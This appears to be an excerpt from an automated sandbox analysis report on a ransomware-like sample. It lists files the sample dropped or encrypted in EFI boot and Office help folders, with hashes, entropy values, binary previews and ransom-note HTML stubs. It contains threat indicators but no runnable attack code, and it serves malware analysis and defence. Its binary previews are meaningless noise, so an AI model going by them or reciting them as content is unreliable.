MD5:	E76D3DBFA31F74A37933CD3BCF9CCB93
SHA1:	8FA266C7ED22243FDF687FAD8DF0FF639AEFBC73
SHA-256:	0E8C976835CE75EB88EC6387151EE80B4BF7B71A588E56DF75AEF9777985F685
SHA-512:	056C5C9860016977A9A9744E02948600FBCAF91937789BDA8851CA3E11BB1CB0319F4B6B33515E50D9012CCAC527FB57CB90A125A4D6A02A50B9AB6748D6F5E0
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{....C._).NK......H.....H.jx.`rk.'...\f..T.i...{..p13.>.O).@...t.).....K........V...^..v..............l=.yi.K:.%.{..q....N.4.~.L4m.....)>.9MT.............}..VM"........s.c-.;........~......).......k.[..Q....b$.........".9......9.. ...4..N...CQ...g@...9..'.....:...1..z...U_e......a..}...FxXh..;C.t.@...,.o....h.u.4IO2_.Hs,.Zq...f...`...k.Q.J...}t.hH.i..\. e..#..,m..:W.".i]..f.L.c.g..,.zxp... ...;.....C.&..j..Z,..N..u..YD."1]R:.9.u.G^...#.q.n.u..?.3.....O0yYXS.iI..Ph..x%j....ly@....`r..9...a%V.q.......U.V.\OB.vF.8...5.'..........+.....8.L.Z.0}.vG1......i...a'Jg....?.P...#.=..8M..p:.%.>Y.cm......l..e&u...A).y.UZvsG...WU.......`.....dz..U.+t...8....i....{....+....5!....u"..0].]N...

C:\EFI\Microsoft\Boot\sl-SI\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9972823543508325
Encrypted:	true
SSDEEP:	1536:4FskZQ0t5onnVPMJn9Vj3809lBDcMp7HdfbdxG7rjde5Mjge2p0wYL:4FsgQEoVPMh95N9lZcUZB5pPK
MD5:	5D2D246B211BFB4402BC5AC27E9F7FFA
SHA1:	37926A5EB1AC5BE09F8E96C3ECE47328D6BA1D1B
SHA-256:	B9524569768D7B25D2EE216DDF895000EA2006B7AE5FE56FFEA0E2807AE06BD4
SHA-512:	C6040FEC5B988C176440803B5B7D11DB6E5F2645EB09629BDF7D6B853B070B031998CC2D3C6361C3CF1F90325DA7BC6A7CBCC3DC0EF1A02186EFFE3339DC0131
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{k..X.6.Hk$..$.,(.......D...7vC..9..kK...Jl0.)...Dk.....F.I.n....i-...?.../(p.T.&.d..x1.S.G.D\..0I.^4.w.4x,L..W[I.h!Q..y(j.;.=.(."e..mRniS4q...fC8.<.A..%...6...p.K.D..z4..Q..~..Qm.2......[..p.9.!.N.4.......~`.3e...a..@q...\|.U`...H.V..v\K.nw.c.R\|..P.'...O.'...M..f..9..w....H...S.G.-.Eo..<.E...[.!......EE;<......8,;I.m..7.....Pk........X.......)h.r.^a..Q..}L>z...,.7R... ;d../t.3..l......6.e.h.m.5.........j.D6'......].e.V.lq.MO..'y]K....G;..).%.......]w.X._5>.c...&.j...I.f..[U.t.w..#..8.......zg...'.......[..a...K...........&..=z5...~d..Iu..T.a.\..%...W{.!..ILL...9...&d.....6.h..=;3[zK=..\|...1.Hx....9..>m5qn..(.+.[ ck:w/....c4#.K.Xls.7P....@3..).I.H...WmAt.uI)..j..r..k.G.....h......n.W

C:\EFI\Microsoft\Boot\sr-Latn-RS\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\sr-Latn-RS\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997824709879717
Encrypted:	true
SSDEEP:	1536:BcolybC1DXweFJo/IRfH0hCgqlLEi1y2kiGOnRFj/8rZ2mGIjE:uolOC19FJmIRfHuOEi1nk+RxErU7IjE
MD5:	B463008A4B7D413F9ECFC067E18D6287
SHA1:	0E8D1C33A940402EB938A94159685D0A6B87FA59
SHA-256:	3827FD33D2004DED69BD9F319A8EB3252A581CD7B0B431AC65081C2AF84D81AB
SHA-512:	82061F7A38E26CBF0AFFD325517A482C503C6886796AB8B97C0D99344E75EE449C8CEB6365F13B92FBE14DD420A76D8A0B2BE8DEA5C144D7DC56CC2F9F69D5A4
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{H.K7......I.6!..=...t"4.......)W...t.&....]...i...I~..qwH.....2x$.....8E5......v..Lk.N,.S...I.....1ua...Ei7...I.....,...j3.t4l...+]l...T.0FF;....:.ChW+...q'8..t. ?..m..=..........W`3.u."..^.....PK.k..8..7....R..@&./.c.@.F.~6B...M.....#.......Bq.2.....Z.)Z".\...&.S<.......^41S[..@..6......>s....^G..)].....<.r"..q.7.i2.;.z.:.....Z...D.z....[..>. ...=T..L.d..Qt....@d..~.!.2..v..m,..z..]'...}.+...z=.h..`j.H.....\|=z.....rD..5.d...Av..r..].%T.......b..l..U&\|.w.....~R.3?..D.......]x.zK...8...B.w_.t`l.ll.~.].&....EG..t..tI...N..so.g.`.dJ}]..-l...X._.........:(.\|.!..Y.v..amr.{.hg.6.N.. $.~#.y........5..C~a.y/h5.:B.......Sb... OU.H...i.Th..>e...w...=p9..G....m.NsI[*/5(.Z..{S.]............?.\<..t~t4

C:\EFI\Microsoft\Boot\sr-Latn-RS\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.998113615887235
Encrypted:	true
SSDEEP:	1536:GKyYAp9JhN6naFEBR7A0h6dTJn7sqFomp2qBVExpiS/NhiwCBGpIFQKb1K9xRFdT:G39JhN2a+B1AW6bn7sqTavABwIFQKANT
MD5:	F5909DA7F91FE343C0441E9195D22981
SHA1:	BF9E0E46CBA27C4DAA22CC897C2C2C923795E079
SHA-256:	4293DB52A87A8ED5D10459B51A8C1BB0216B6201FB33D19395D1C3AFE97DB436
SHA-512:	EE0A3A857A02D4310530D3E60D3F136BE801F5F07E76A3C2DD824C9F1A14B3FB82C556CDC2FC79A2241A6A9111F53B011D4E2340844E36BE8D7211F2537D5B63
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{#.`j..Z...X/..p[..@..(.~\|.A......=..h....L.E.#1,.I..3.+.'.K)..[)^I.6B..->./l.B.....~%.._..m. .R!.......m.....,......E%...?..E:E..w...t..=....f... ....xG...a.../.G$.QGD.....G..$O.P.X.x>.qi.>...+.Z...Ie.._...K.....Jtv..G.u..k....S...%....J..l.x...D.%z=..8..p\.5........gc..Xp...;...k..5.zD.c...@..Ly.M...^k...i-)."B.E...`ap(.8.... {....3....Ay>.....3C......-....vY.....Js{..8.".....Cu.9...+..@.@..io...d...s9o.;^..p.s2FW(..%. %.~.m)lMl.O..&..D.2KC....Qj(Y5.c..^q..~.zD...I.....&K..../...m..z.D"@....VFa\..AT....^A\.g..B.%.D...=.<U..a...!i.`.]n.c.%g.*.w..qZo..a/s...........9fW ....0.(.W.H.U.....z...NFk3..gS.....N.h n.............f...m..f.n'........Bi.V....t.b...U...i..R...x.Jc..^.

C:\EFI\Microsoft\Boot\sv-SE\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\sv-SE\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9976477478709
Encrypted:	true
SSDEEP:	1536:2aTe6e3HS8sQh/rJ0WcTPPjSMvJo9VgvBX1sOHAnD0tr6r9xE2I:2Oe33HS8sQh/rJ1KjSMvJ7vRZHADIr6C
MD5:	E997FFDD157C3CAE38C10C119F69DDE4
SHA1:	283CF8FB34D680B91622D7F00793A618AB851C77
SHA-256:	B85D33EC7886A05680C51B5E6D867E0764F4A2A1A7A050668CBF6884C3214C9B
SHA-512:	F6DA6606F623A9171A68AF735882FC7B677D326DB9B44B6FBE7577EA9A53FB36A6C7EBF9BB8708865DB42B6E6FCB497242FC50071C4120329E3CDB881C30FE72
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.6.].D.Oy..4.m..:....k....A2:{.......q....Gd......~.G.p.+.,j....Um9.].8..X&u...^1:.=^..S..~.........k../..K.aR.Ub.5@..%.y\...\i...R....M.cI.a}..%.+T..g ..4...A...J!....b'N..}q..(..65..@...VX+...HchE..~.....C.K.ts~A.\|.....4.;....$.B.#....IG.r...,...1.G.I.....`J..~Ff<8.%..$uc..~...m.....-<...%.t%U...3i.L..'....p...J}.....X)..AA.I..KzN.O..._.c.Y....ui..;..0{.8x..+.`...:.M...n....&".'.w.@=.+.....AU..j.....G.a.K...M.....BR....w.<n...Z..`dBE..[.4.Y.M..7..y...k1h...b,........Q..?Ho,` ..M....%s........Y........U..4....[.!.....L....._GD.8.....Sn..u.r.*}}I.\.ti....N2..<.$x.t.<Z.#..O.'.....u.\|./.%..%T/.,.OF....HX.]-......qE..:~^.%ZF.T\|...!...L.l...j&cPf.d.lW.F...}&u]..5N.C.)...un...BC.g}.b...k..h.=..7L.....f?X]......S....wO......U

C:\EFI\Microsoft\Boot\sv-SE\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997580401687968
Encrypted:	true
SSDEEP:	1536:1hkspTDBMtqAjfO3uIkD9o7OSMMPFe9CXytNrT3W94ZdTO:nks1lMtqAjmoe7hWCUNyuTO
MD5:	B794ADAA9C204E8B8557FF99D0D167E3
SHA1:	D4AAE4B3C699EC3B1E9D4191DEE803BC2DE351AA
SHA-256:	E1ADA4E2BD93C39719C1A89C305DCC80F07EADD1CF10E09B87DD3520EAB115C0
SHA-512:	1BC6C8A17FA9BF49CF000B27421893DED06BE623BD925433331C96698B4FF01DFCFB25BD4EE6B80B01A710815E2AE614D1A94359470BBE9E33360B73FFB9232F
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.6.].D.Oy..4.m..:....k....A2:{.......q....G........{........x.t.&.6j..9..[...QQ.F.Z.&,t..l..>^ ...+..\|i.v....1.^...1.<...G3.k..LQ..G..D... .,L.R.\|.......e.......N.fQ.(eK2..&@.F.ts.!;...;...Vqk.P._$...0..."..u..S..S...~.Zl:. .....r)......i.....f....w.)...... ..{m.o&tbd.....8...j.<....3..RO.o..$..}.-.....o.n(5...#o.9.};.4.(....._.P.%..L..$.t.yC....)..7t...d...........b\|........%Q..RvH.....r./.9..._..-...v.5\|..+..t.U).t..S...{..$.&.Y.:?y..#...\..b<..X.&+.h..t.-^;u.Wm.6q.Q>.Q..f.q..D...@.....Y..s\|l4W..AnE.z..g...t...9.K..y...{h..p.Y.A.Y......r. )4.......F..vk7-....H....e '..3...06...bu..>..(..b(}c.Ev.zlX..S%.ZE..5 ~...%<Bi{.Q..IE..:.{~OWp..\..2.F..u.D..+...\|.=.A.v...@V.m.Z....Z1...K....n'.K.y..-X.$...m....X....d...(..qdh.

C:\EFI\Microsoft\Boot\sv-SE\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996019202882872
Encrypted:	true
SSDEEP:	1536:UQxtvx52XxA0QkOsD8xkhynk+re8Ga2tC:RxtZYBANk/JhynBeFaGC
MD5:	18C5B69DEDCBE2C671407607CCDB2D07
SHA1:	A7FDCB47FFC5EC2D2D7AAAAA9C7C7567D66753CA
SHA-256:	D2B8953726EB1ECD04EB77202141FDDCD6EDAB6CFACADD1CF64AB274BDB4E8B2
SHA-512:	BA0AE62ABB66DB856E5B18777111320CB4171FC928A5EB30163544DA78A2BCFB54F792B6D861F6B60CA540AAD3339822662513741159BBC35A4F66BFF7F67810
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%@.%..w....\|6&yT.j$..CO....-.....E...<Rk.WC...s.......9.g.`.O.....N..l].l.XQ...\|... .n...E.p....GU0......%..6..% 9....)O...0.#;.=W..............z...P.Z..%..P.+!...dI._\,..s....3..D.26.R.P,.M.e,7.......F.~4....k.....H<....u...'....r.S....!8..2...j.9l.x%Q.K.)E...F.9;....?.!k../....r.p.G...D..O+5..[lZ...a....b[.j....m.i....{.A........."...:.BiZ..I......].0.. .G../<:..$tJ0.Q......-b.L....145.ro..."..F...6...A.:..a...gR q..6..B.6KqJ8U..T..UN.6.E..d..np...v..k.dJ......AV......C.....9c.....{..!3r........HtW.+=..S<...?././.KW.~.oV*;....1......\|....d9C../\..v..Q.n..w....J..o+L.B]..6.(4.D.....\|.f!\|r)....7T1;.1.........']..}_.!.....N..g..Z..-?0...,yg.....5O....We.?.X...p/...l.s.....D.....45.).!.x..5........0J.....'e..........D.(....=....!

C:\ProgramData\Microsoft Help\MS.EXCEL.16.1033.hxn Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979091751081903
Encrypted:	false
SSDEEP:	192:osDrCyVMPOne7NdAuwBZ7UmSrNtxWLENM+Yf1toeL5MJIA0oBlybuzIBV54k2:TW5Z7Aum7ioLL7NvGJxBlylBV54k2
MD5:	E5838658802664643D8FD6823554AF19
SHA1:	60BC1BEE303570978BF89041BCB0474D7899B009
SHA-256:	5F8D6776DE9BE1BA688773343A4EE7889AE4172AB02BC5ED0818EE2FC58A37EE
SHA-512:	C902F56B1FCBD33CC0B11D9AA6ECFD7268BF2FF945A51D77C9BAE22439363D5ABFCC2FF528869B19884A4061D5631D184758D17D63E8BAD7307B1241225C540F
Malicious:	false
Preview:	....+o..:.s.!..ae..."\|..rMN..6.....z.)..1=@......Q..$...oa....WO;.7..9'...h.n}E..N.k..9...N..Ia..\c6.....JN.%.!=...\.X....w.;u...C.O.k../.3......q......\....W..V...-.:..A..7....j6....~u-2...v.a.WX...l~=....kq.z...gZ+..#..=.YC?....h..M..r...w.c(p..j.....H...6....n...b.}.o.."..H2Zf.......DX....O.N.._......^..0...-....7..l..9....>F5t..".8.......2rS./!J....q....'......`...~6......K.@.?.T.......$...H...=....2y._.J.....7%.@dDLc...8.....h..[..a.T.......HQI.uV.}...$;@..J:.m.Y0l.y.Wx..?:...\aF..%............3.......4..R.}.....z.-.cv..Q..e...(].5D.M.1g..:(.......$..SB...Z..X.'=....O'..k.X.....u..Nc.xh`...?.%....j....s...D.H5....8...G...........h. .9.W.H..-q\|...l..hs.....Z.._.w..K.....7K[...~....J..3..,.. D,.R...4l.......V?........Z{.h.......$........0...;.Kv..~....(..'..EB....[u..g..~2......d...l~.j".+..~.. .1..-TL..J.l.>[7.~G.d..N.u.K9. .ZH:zr...(...A.7.N...Q..Z.~....FA...*.T.3..'3,.2."......~........K..'..B..A..@t.uDC0..5L7Q..Pxg......'.U...

C:\ProgramData\Microsoft Help\MS.GRAPH.16.1033.hxn Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.975660455266529
Encrypted:	false
SSDEEP:	192:tn6uDrPbUg1fjg6jN7IQXvMDcUtQ9qs2sXrgAWix6zl0Y7GF14esj54k2:tdDb/f0qIQ/6ntetWyS0Y7GFaesj54k2
MD5:	BB625078164581CEEE0CFB7E4E3539D8
SHA1:	41760C14AEB2EF4B62EBC69502965B21A5603BA8
SHA-256:	C77BA3A8BA5B82C8F2842ED7F8D4BD9BE5DD6E2B66D05562C25659811361A305
SHA-512:	7E7B7ED8A182430D87AEBE305E6F56D85AFF999086F0B42B1E2DBC6724F38FE7AF6A31DF4A8AB75498C56008A9BA30ACA09D7AC80D1399BC1F7A3B908AE7FEB6
Malicious:	false
Preview:	....+o..:.s.!....y}...ZJ.V.W..?....^.w.E..p...>..~.%yHI..Oz..6~'N.w..._..79P.0e]..G....\%[.:..}k...%....#.....".9....E...Dy....K.q....{(._.......ri.AP.8Z......C`..%...j..&.}.+:1\.....E$/ j.!l;-UF....0........iN....NW..B.&..../W[....Z.q...g.:..I.Rh.]s.;...9t.:@i0`......$<.9,....A.w."e.>...?..(.."...i.......\.\<.f.7..`.>2.P......Bu3x.Y.H12.G.....q..w.$...&..g+.'O....1.SH!y....8..P.Z`.TD..jYL"...}Q...\|....6....}/..0....b./.^'......,R..tA..=.......Z...U...Q....NN..uL..]Ecf....p.,]_....x...."..&..U....u....E...M.c..$....#o.b.Y..GT...O....r^ow/..I.$..Or..E....@.b.G.....9......=.M2.5+T...CJ.j.S..J.... .jn.....h......n@g....m.i.#.$;.H{..bH...4.1a_+@.).....%......[{K....a......0jF...6.{....zr...K..m[.;.6._.^...Pq.].....s.L0p.t`._.P.Z....8f..'...R..%..b..b.I.I4..E..."...$..-.H.bT*.p7...........}...2...hS:u...\|...8..D9....{...J....2..N..b......q..f..1....A.b...,.s.<:..f.. Q...{.....z.R..Y..X.j.=...s.n.....y...Y.f@.........~....5u..z.=`(.W..q..r....

C:\ProgramData\Microsoft Help\MS.GROOVE.16.1033.hxn Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.978942682141846
Encrypted:	false
SSDEEP:	192:iYc3p9gFfuB0FbxZ8zgbwbfS5p/HHcGatHJoZGIVge54k8:ivpkWiBr7b4fSDXatiZXVP54k8
MD5:	55F9889F318FAB68D54278E8EDC76812
SHA1:	A6D95E816DCD36C2B58B0B1ACBB7780C42F812E9
SHA-256:	E0F2EB67FFFF5343F650D7239D02A2A9A3B39BC9F0DAA7853C7DDC328AE29F16
SHA-512:	9A96D836793F72DF9327560473672CBE5A31DA608411A0EF7E3E377E72378AF98ADE5F7FDB2DAB20960513497481898F9D8CA512D1B3DBD0ADF2691EFBE0406B
Malicious:	false
Preview:	....+o..:.s.!..w@U..a...........ZqI....W.@Y#......%..uqd.rTV.B.zD!.m}^m..E."mo...z.!D....T..../P..._..?....\|...tC..W.x...[$v:.).}...,.%...anx..3...........)Fw...N..pI..j..j.:y.OF.."R.eQ..x.O..l.....%j..B...>..g.)`.........k..k.....L. .v.uA.)......yd..b./Q.F.fA.%S.4..A... ..k..b4..mh.O./.).^IJ'p.#{..Z\|......m.c.....R..r..f.K4j-,...$..d....9.XZ%.E..b0.d....!L.j.l..4~...1.....5...nu..p..J!.w..hnC/J..7.....}.b..H!k.$4(}H6.O.o..]M...f].g....c.L...>D...g.Xi.../n..tCbR...)5`.4.$a.....hb...UaS...Ix......85l..C........!JB...Y.%.TC.Y1a....7[U...\i.\b.2;...,....U.$....{L(..(51..:..~).r..vV..3.:...8Uu...s..W...v....b.T........'......Kz... .O<. .`...2/..... u)&.{..i;..X.b...n..+.5J...8..k5...y...i.......G.wl$..X.q[[u;...Dk.q..9.,'rNL..F..}...*......q.\Gj........[...8.X.>yy......{......?2t..%...4.^.rP(>8.<x].8..x.4..%..[^....v.e/.........:k.g..`+5~.4..im.#Bk.'.Xt.c./t.....:R.7.O...EX%P....v........o........&.f...y.2.JJU.....5..?.u^..7y..Nl

C:\ProgramData\Microsoft Help\MS.LYNC.16.1033.hxn Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.977402323449557
Encrypted:	false
SSDEEP:	192:Usc4XOXZNVSig6D7xd6fDVimXi8qMPakWFjbeM15h54kQ:U4AfVSF67xd6fDcyojKM15h54kQ
MD5:	7D5727DFBC3B878BA6441B18C652B036
SHA1:	1D06DB755945B77974FAFA962EB77D0023B69F11
SHA-256:	A881CA6C12200F06D2D9FF902F18A60F23A242BE4543398D16947538A613FB45
SHA-512:	17CE7A26C859EBDEC261D3D1F9A60381D091D3A8CA77413B6DD0F7144C7C9960530995E5F518BFD4BD570E5EBE882EB8D92A4B49C95C9A6B27CB85D479D8A495
Malicious:	false
Preview:	....+o..:.s.!.....g63..!..h...0.....?ei...h.C\|qh.o<..v..2...9._.J@..T....[^[.5udc.;t/.T...5.\|\...8W...#.W..~3.\|...^..m../_h.c....%.>y.."..YE.J.'..a.X.'.................vj.....8#J..... .tq.)..(.{<.\..^J....(.X.0.....:..).:.G...?Ij.8Da ...!...P.m4S.\|...8C..g4...$u<W..,...h$..>#.!....o....",.c...~...e.A..I.}7..a..y.._...GP.\|.....N..^..]Vi..3.!.($...$....5_..I".I..R...Z.....f.pq..8.L...&.pZ....: ...e...;.........HU.[.........b.....9D...@..qU.<$...o......}v.o....m'.Lc..'.....~.........z.rC..N@....."...Wb....]-.CR..N.}m9...A......_Z&....1..'.R}._..ai7hi.... .....W6...=.......L{......-/P..6G.o..kt`.t.go.O..B...o4....W\..0L@...xmB.=..M....{_^......p...8.ar........-......o..Bu.~.&..w...OMPp.^.Q...^>..{l..S.Y}......j.3oe...`!T..K.6..8.p&V...~.<.7..4QBn]?.......!...R..hvA.T@.S.H.&..X.K.qD..:...X.E.j@."..u.....b...?....\|.z?3\..Y.`...7xR=.dN."...n...]...^P._*....... .).4.-..V".....\|y.)..$.._..+m.HF..).c.4...XNM.....9...-g...Bv._D.)..B....W......e.>2k".....

C:\ProgramData\Microsoft Help\MS.MSOUC.16.1033.hxn Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.974653458747151
Encrypted:	false
SSDEEP:	192:7qtKf/6uL687HeMhY4a2gc7VGLNqMo1DwkYwzvUm54k2:2EX6Gd+y7AH0xvUm54k2
MD5:	055D421EC15958B1B286AA80EE643606
SHA1:	2638352C3A474A178F30A26DD4D6F7112E1DE3D5
SHA-256:	88007E873C4FE455AF53CC916CC9C9E3631353D3BDF7DB5FFC95BFBCE1FF3E9C
SHA-512:	0CAF128BF225C15B28133C23460963FB8B6659372AD4B3DA1277F57F4280A0B5E2CDC1FD681732FCED97DB4CC70EB05098C614D873640A11FDDC009098189CB0
Malicious:	false
Preview:	....+o..:.s.!..D.....H..k.$gl>..rr.`....$..n...........v...r2.I.:..$..C.$Y/..M..$.....e.4.!.rT...Ax..U5.rk....Z.._...b-....s..BUD......#n..v..`.."Z<..J.U.l>..R...\|..s..82%j.D..........$&..-e.~./..D.x....K...e&..u.^#....M...bL....8t0...~.'../9K.<...O ..C...0#T.....j.D.'t.qR..%..S.-_..ql..>..x.F^....A/...UoVL3B...QR..8.x.../.e.#.........W(.8.............Rs.s.H1%...~....Q..hP.%.J.G.M..2sVa.jn......g.....Q9........C..0..i\,M....D.vh.]........l93yp...y...p.......%Ka.y9.N.r..IQ........q....k..}...W...7......A....^..........O..j.!9$}e...Y..Z.64rg.Ug.;,.Q{.`...T....).H...j...ci.j L.-!.U.2.p..(.q.....&.urm.U.-\|....dE.X.h!.V.L"~h'..<[....I.q8..^.+/......M...6......T..o.......eg\|Q..(5\|..1.....m.<<.2B...].../.\|.al.."YN...P!.....'..&.L.....\.w....U.F..Zl.m.l0..p.nN..C.p....B.......eW.N....j.!...A.o.m.Y......@..L.S...y@...G.v%.......dN..&..-~...z..n!F.."&.t-"...[....z....n.3.!.Y5..L30.....-/&...x...N...2.......XB.{....o8.\|...EK...h.dK...2..P.f1>...+.O......C.

C:\ProgramData\Microsoft Help\MS.MSPUB.16.1033.hxn Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	8728
Entropy (8bit):	7.979381614974593
Encrypted:	false
SSDEEP:	192:9ZOeOafpyUgPBseXFa9683zZLukATX3o23R86coYXR6z54k2:G/qpLwNXFak83zZCfs24TBC54k2
MD5:	C94C191C94D5353944AEEDB143450204
SHA1:	C96E847F49BC75E60F1C09EF035549E8F3E2823E
SHA-256:	22BE1CF2737C1448344E19BFE7F1908686E2A9D36157C6185228E3802D84B807
SHA-512:	BBF631BFD303B5AC5DCA5BA6363B7A5520AB3E7D57AADF7E5C91AC49430B487599D96353EDA244197A180BD8F82BA10CBACC85AC42035953CD8D42BAF380338E
Malicious:	false
